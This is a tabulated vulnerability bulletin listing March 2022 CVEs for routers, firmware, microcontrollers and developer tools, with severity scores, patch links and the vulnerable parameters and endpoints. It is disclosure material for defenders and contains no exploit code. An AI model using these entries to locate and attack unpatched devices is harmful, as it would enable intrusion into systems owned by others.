Untrusted Search Path	21-Mar-22	8.8	PNPM v6.15.1 and below was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute PNPM commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS. **CVE ID : CVE-2022-26183**	https://github.com/pnpm/pnpm/commit/04b7f60861ddee8331e50d70e193d1e701abeefb	O-MIC-WIND-070422/1023
Untrusted Search Path	21-Mar-22	9.8	Poetry v1.1.9 and below was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute Poetry commands in a directory containing malicious content. This vulnerability occurs when the application	https://github.com/python-poetry/poetry-core/pull/205/commits/fa9cb6f358ae840885c700f954317f34838caba7	O-MIC-WIND-070422/1024

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			is ran on Windows OS. **CVE ID : CVE-2022-26184**		
Deserialization of Untrusted Data	17-Mar-22	7.8	Deserialization of untrusted data in Veeam Agent for Windows 2.0, 2.1, 2.2, 3.0.2, 4.x, and 5.x allows local users to run arbitrary code with local system privileges. **CVE ID : CVE-2022-26503**	https://veeam.com, https://www.veeam.com/kb4289	O-MIC-WIND-070422/1025
Vendor: Netgear					
Product: cax80_firmware					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	O-NET-CAX8-070422/1026
Product: dc112a_firmware					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.n	O-NET-DC11-070422/1027

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			without authentication. **CVE ID : CVE-2022-24655**	etgear.com/about/security/	
Product: ex6100_firmware					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	O-NET-EX61-070422/1028
Product: ex6200_firmware					
Out-of-bounds Write	18-Mar-22	7.8	A stack overflow vulnerability exists in the upnpd service in Netgear EX6100v1 201.0.2.28, CAX80 2.1.2.6, and DC112A 1.0.0.62, which may lead to the execution of arbitrary code without authentication. **CVE ID : CVE-2022-24655**	https://github.com/doudoudedi/Netgear_product_stack_overflow/blob/main/NETGEAR%20EX%20series%20upnpd%20stack_overflow.md, https://www.netgear.com/about/security/	O-NET-EX62-070422/1029
Product: r8500_firmware					
Improper Neutralization of Special Elements used in an OS Command	26-Mar-22	8.8	NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in	https://github.com/donothingme/VUL/blob/main/vul2/2.md	O-NET-R850-070422/1030

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			the sysNewPasswd and sysConfirmPasswd parameters to password.cgi. **CVE ID : CVE-2022-27945**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Mar-22	8.8	NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the sysNewPasswd and sysConfirmPasswd parameters to admin_account.cgi. **CVE ID : CVE-2022-27946**	https://github.com/donothingme/VUL/blob/main/vul3/3.md	O-NET-R850-070422/1031
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Mar-22	8.8	NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the ipv6_fix.cgi ipv6_wan_ipaddr, ipv6_lan_ipaddr, ipv6_wan_length, or ipv6_lan_length parameter. **CVE ID : CVE-2022-27947**	https://github.com/donothingme/VUL/blob/main/vul1/1.md	O-NET-R850-070422/1032
Vendor: nxp					
Product: lpc55s66jbd100_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**	https://www.nxp.com	O-NXP-LPC5-070422/1033
Product: lpc55s66jbd64_firmware					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update.	https://www.nxp.com	O-NXP-LPC5-070422/1034

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22819		
Product: lpc55s66jev98_firmware					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**	https://www.nxp.com	O-NXP-LPC5-070422/1035
Product: lpc55s69jbd100_firmware					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-	https://www.nxp.com	O-NXP-LPC5-070422/1036

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**		
Product: lpc55s69jbd64_firmware					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**	https://www.nxp.com	O-NXP-LPC5-070422/1037
Product: lpc55s69jev98_firmware					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	9.8	NXP LPC55S66JBD64, LPC55S66JBD100, LPC55S66JEV98, LPC55S69JBD64, LPC55S69JBD100, and LPC55S69JEV98 microcontrollers (ROM version 1B) have a buffer overflow in parsing SB2 updates before	https://www.nxp.com	O-NXP-LPC5-070422/1038

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the signature is verified. This can allow an attacker to achieve non-persistent code execution via a crafted unsigned update. **CVE ID : CVE-2022-22819**		
Vendor: Redhat					
Product: enterprise_linux					
N/A	16-Mar-22	7.5	A vulnerability was discovered in the 389 Directory Server that allows an unauthenticated attacker with network access to the LDAP port to cause a denial of service. The denial of service is triggered by a single message sent over a TCP connection, no bind or other authentication is required. The message triggers a segmentation fault that results in slapd crashing. **CVE ID : CVE-2022-0918**	N/A	O-RED-ENTE-070422/1039
Out-of-bounds Write	23-Mar-22	7.8	A heap buffer overflow flaw was found in IPsec ESP transformation code in net/ipv4/esp4.c and net/ipv6/esp6.c. This flaw allows a	https://bugzilla.redhat.com/show_bug.cgi?id=2061633, https://github.com/torvalds/linux/commit/ebe	O-RED-ENTE-070422/1040

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			local attacker with a normal user privilege to overwrite kernel heap objects and may cause a local privilege escalation threat. **CVE ID : CVE-2022-27666**	48d368e97d007bfeb76fcb065d6cfc4c96645	
Vendor: Sonicwall					
Product: sma_200_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SMA_-070422/1041
Product: sma_210_firmware					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SMA_-070422/1042
Product: sma_400_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SMA_-070422/1043

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: sma_410_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions.	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SMA_-070422/1044

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22273		
Product: sma_500v_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SMA_-070422/1045
Product: sonicos					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	O-SON-SONI-070422/1046

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			results in code execution in the firewall. **CVE ID : CVE-2022-22274**		
Product: sonicosv					
Out-of-bounds Write	25-Mar-22	9.8	A Stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote unauthenticated attacker to cause Denial of Service (DoS) or potentially results in code execution in the firewall. **CVE ID : CVE-2022-22274**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0003	O-SON-SONI-070422/1047
Product: sra_1200_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SRA_-070422/1048

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Product: sra_1600_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SRA_-070422/1049
Product: sra_4200_firmware					
Improper Neutralization of Special	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of	https://psirt.global.sonicwall.com/vuln-	O-SON-SRA_-070422/1050

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in an OS Command ('OS Command Injection')			Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x, 9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**	detail/SNWLID-2022-0001	
Product: sra_4600_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	17-Mar-22	9.8	** UNSUPPORTED WHEN ASSIGNED ** Improper neutralization of Special Elements leading to OS Command Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products and older firmware versions of Secure Mobile Access (SMA) 100 series products, specifically the SRA appliances running all 8.x,	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0001	O-SON-SRA_-070422/1051

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			9.0.0.5-19sv and earlier versions and Secure Mobile Access (SMA) 100 series products running older firmware 9.0.0.9-26sv and earlier versions. **CVE ID : CVE-2022-22273**		
Vendor: Synology					
Product: diskstation_manager_unified_controller					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	25-Mar-22	9.8	Buffer copy without checking size of input ('Classic Buffer Overflow') vulnerability in Authentication functionality in Synology DiskStation Manager (DSM) before 6.2.3-25426-3 allows remote attackers to execute arbitrary code via unspecified vectors. **CVE ID : CVE-2022-22687**	https://www.synology.com/security/advisory/Synology_SA_20_26	O-SYN-DISK-070422/1052
Vendor: Tenda					
Product: ac6_firmware					
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the time parameter in the PowerSaveSet function. **CVE ID : CVE-2022-25445**	N/A	O-TEN-AC6_-070422/1053

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the schedstarttime parameter in the openSchedWifi function. **CVE ID : CVE-2022-25446**	N/A	O-TEN-AC6_-070422/1054
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the schedendtime parameter in the openSchedWifi function. **CVE ID : CVE-2022-25447**	N/A	O-TEN-AC6_-070422/1055
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the day parameter in the openSchedWifi function. **CVE ID : CVE-2022-25448**	N/A	O-TEN-AC6_-070422/1056
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the deviceId parameter in the saveParentControlInfo function.	N/A	O-TEN-AC6_-070422/1057

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25449		
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 V15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the SetVirtualServerCfg function. **CVE ID : CVE-2022-25450**	N/A	O-TEN-AC6_-070422/1058
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 V15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the setstaticroutecfg function. **CVE ID : CVE-2022-25451**	N/A	O-TEN-AC6_-070422/1059
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the URLs parameter in the saveParentControlInfo function. **CVE ID : CVE-2022-25452**	N/A	O-TEN-AC6_-070422/1060
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the time parameter in the saveParentControlInfo function.	N/A	O-TEN-AC6_-070422/1061

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25453		
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the loginpwd parameter in the SetFirewallCfg function. **CVE ID : CVE-2022-25454**	N/A	O-TEN-AC6_-070422/1062
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the list parameter in the SetIpMacBind function. **CVE ID : CVE-2022-25455**	N/A	O-TEN-AC6_-070422/1063
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the security_5g parameter in the WifiBasicSet function. **CVE ID : CVE-2022-25456**	N/A	O-TEN-AC6_-070422/1064
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the ntpserver parameter in the SetSysTimeCfg function.	N/A	O-TEN-AC6_-070422/1065

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25457		
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the cmdinput parameter in the exeCommand function. **CVE ID : CVE-2022-25458**	N/A	O-TEN-AC6_-070422/1066
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the S1 parameter in the SetSysTimeCfg function. **CVE ID : CVE-2022-25459**	N/A	O-TEN-AC6_-070422/1067
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the endip parameter in the SetPptpServerCfg function. **CVE ID : CVE-2022-25460**	N/A	O-TEN-AC6_-070422/1068
Out-of-bounds Write	18-Mar-22	9.8	Tenda AC6 v15.03.05.09_multi was discovered to contain a stack overflow via the startip parameter in the SetPptpServerCfg function.	N/A	O-TEN-AC6_-070422/1069

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-25461		
Product: ac9_firmware					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the schedendtime parameter in the openSchedWifi function. **CVE ID : CVE-2022-25427**	N/A	O-TEN-AC9_-070422/1070
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the deviceId parameter in the saveparentcontrolinfo function. **CVE ID : CVE-2022-25428**	N/A	O-TEN-AC9_-070422/1071
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a buffer overflow via the time parameter in the saveparentcontrolinfo function. **CVE ID : CVE-2022-25429**	N/A	O-TEN-AC9_-070422/1072
Improper Neutralization of Special Elements used in a	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain multiple stack overflows via the NPTR, V12, V10	N/A	O-TEN-AC9_-070422/1073

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command ('Command Injection')			and V11 parameter in the Formsetqosband function. **CVE ID : CVE-2022-25431**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the urls parameter in the saveparentcontrolinfo function. **CVE ID : CVE-2022-25433**	N/A	O-TEN-AC9_-070422/1074
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the firewallen parameter in the SetFirewallCfg function. **CVE ID : CVE-2022-25434**	N/A	O-TEN-AC9_-070422/1075
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetStaticRoutecfg function. **CVE ID : CVE-2022-25435**	N/A	O-TEN-AC9_-070422/1076
Improper Neutralization of Special Elements	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list	N/A	O-TEN-AC9_-070422/1077

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
used in a Command ('Command Injection')			parameter in the SetVirtualServerCfg function. **CVE ID : CVE-2022-25437**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability via the SetIPTVCfg function. **CVE ID : CVE-2022-25438**	N/A	O-TEN-AC9_-070422/1078
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the list parameter in the SetIpMacBind function. **CVE ID : CVE-2022-25439**	N/A	O-TEN-AC9_-070422/1079
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a stack overflow via the ntpserver parameter in the SetSysTimeCfg function. **CVE ID : CVE-2022-25440**	N/A	O-TEN-AC9_-070422/1080
Improper Neutralization of Special Elements used in a	18-Mar-22	9.8	Tenda AC9 v15.03.2.21 was discovered to contain a remote command execution (RCE) vulnerability	N/A	O-TEN-AC9_-070422/1081

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command ('Command Injection')			via the vlanid parameter in the SetIPTVCfg function. **CVE ID : CVE-2022-25441**		
Product: m3_firmware					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/exeCommand. **CVE ID : CVE-2022-26289**	N/A	O-TEN-M3_F-070422/1082
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/WriteFacMac. **CVE ID : CVE-2022-26290**	N/A	O-TEN-M3_F-070422/1083
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setFixTools. **CVE ID : CVE-2022-26536**	N/A	O-TEN-M3_F-070422/1084
Improper Neutralizat	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was	N/A	O-TEN-M3_F-070422/1085

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Special Elements used in an OS Command ('OS Command Injection')			discovered to contain a command injection vulnerability via the component /goform/delAd. **CVE ID : CVE-2022-27076**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /cgi-bin/uploadWeiXinPic. **CVE ID : CVE-2022-27077**	N/A	O-TEN-M3_F-070422/1086
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setAdInfoDetail. **CVE ID : CVE-2022-27078**	N/A	O-TEN-M3_F-070422/1087
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setPicListItem. **CVE ID : CVE-2022-27079**	N/A	O-TEN-M3_F-070422/1088

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/setWorkmode. **CVE ID : CVE-2022-27080**	N/A	O-TEN-M3_F-070422/1089
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/SetLanInfo. **CVE ID : CVE-2022-27081**	N/A	O-TEN-M3_F-070422/1090
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/SetInternetLanInfo. **CVE ID : CVE-2022-27082**	N/A	O-TEN-M3_F-070422/1091
Improper Neutralization of Special Elements used in an OS Command ('OS	24-Mar-22	9.8	Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /cgi-bin/uploadAccessCodePic.	N/A	O-TEN-M3_F-070422/1092

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command Injection')			**CVE ID : CVE-2022-27083**		
Vendor: Tendacn					
Product: ac10_firmware					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	23-Mar-22	7.5	Tenda AC10-1200 v15.03.06.23_EN was discovered to contain a buffer overflow in the setSmartPowerManagement function. **CVE ID : CVE-2022-26243**	N/A	O-TEN-AC10-070422/1093
Vendor: totolink					
Product: n600r_firmware					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the exportOvpn interface at cstecgi.cgi. **CVE ID : CVE-2022-26186**	N/A	O-TOT-N600-070422/1094
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the pingCheck function. **CVE ID : CVE-2022-26187**	N/A	O-TOT-N600-070422/1095
Improper Neutralization of Special	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to	N/A	O-TOT-N600-070422/1096

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in a Command ('Command Injection')			contain a command injection vulnerability via /setting/NTPSyncWithHost. **CVE ID : CVE-2022-26188**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Mar-22	9.8	TOTOLINK N600R V4.3.0cu.7570_B20200620 was discovered to contain a command injection vulnerability via the langType parameter in the login interface. **CVE ID : CVE-2022-26189**	N/A	O-TOT-N600-070422/1097
Vendor: westerndigital					
Product: my_cloud_dl2100_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code. **CVE ID : CVE-2022-22995**	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-security-vulnerabilities	O-WES-MY_C-070422/1098
Product: my_cloud_dl4100_firmware					
Improper Link Resolution Before File Access ('Link Following')	25-Mar-22	9.8	The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these	https://www.westerndigital.com/support/product-security/wdc-22005-netatalk-	O-WES-MY_C-070422/1099

